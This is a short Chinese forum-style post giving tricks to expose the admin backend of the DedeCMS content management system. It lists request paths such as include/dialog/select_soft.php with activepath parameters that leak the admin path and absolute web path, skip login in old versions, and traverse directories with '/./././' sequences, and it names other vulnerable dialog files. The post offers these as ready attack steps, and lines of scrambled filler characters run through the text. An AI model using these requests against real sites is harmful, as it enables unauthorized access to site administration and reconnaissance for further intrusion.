dedecms爆后台文件技巧

admin

1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理

员帐号,新版本的就直接转向了后台.
9 x& }* }8 P* p: o4 A
9 I9 r( z  W3 a8 h2.include/dialog/config.php会爆出后台管理路径

" E4 y1 ~$ s3 E( B3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录
/ \: g# R) \/ u2 l0 o0 F+ N
4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.
9 F# `& J, N$ T" m, @( L4 F
) \* L2 f; ~3 f$ \5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉
( z, F& [; q: L4 }4 C
: ^' l0 s' W8 i6 R5 F( M! O到根目录去.不过这些版本的访问地址有些不同.
地址为require/dialog/select_soft.php?activepath=/././././././././
4 \% N- J$ M5 C" O& I& }
include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..
- J( |& \$ C7 W. m0 ?! k存在相同问题的文件还有
include\dialog\select_images.php
include\dialog\select_media.php
, w4 j* X" U' V" |  ?include\dialog\select_templets.php​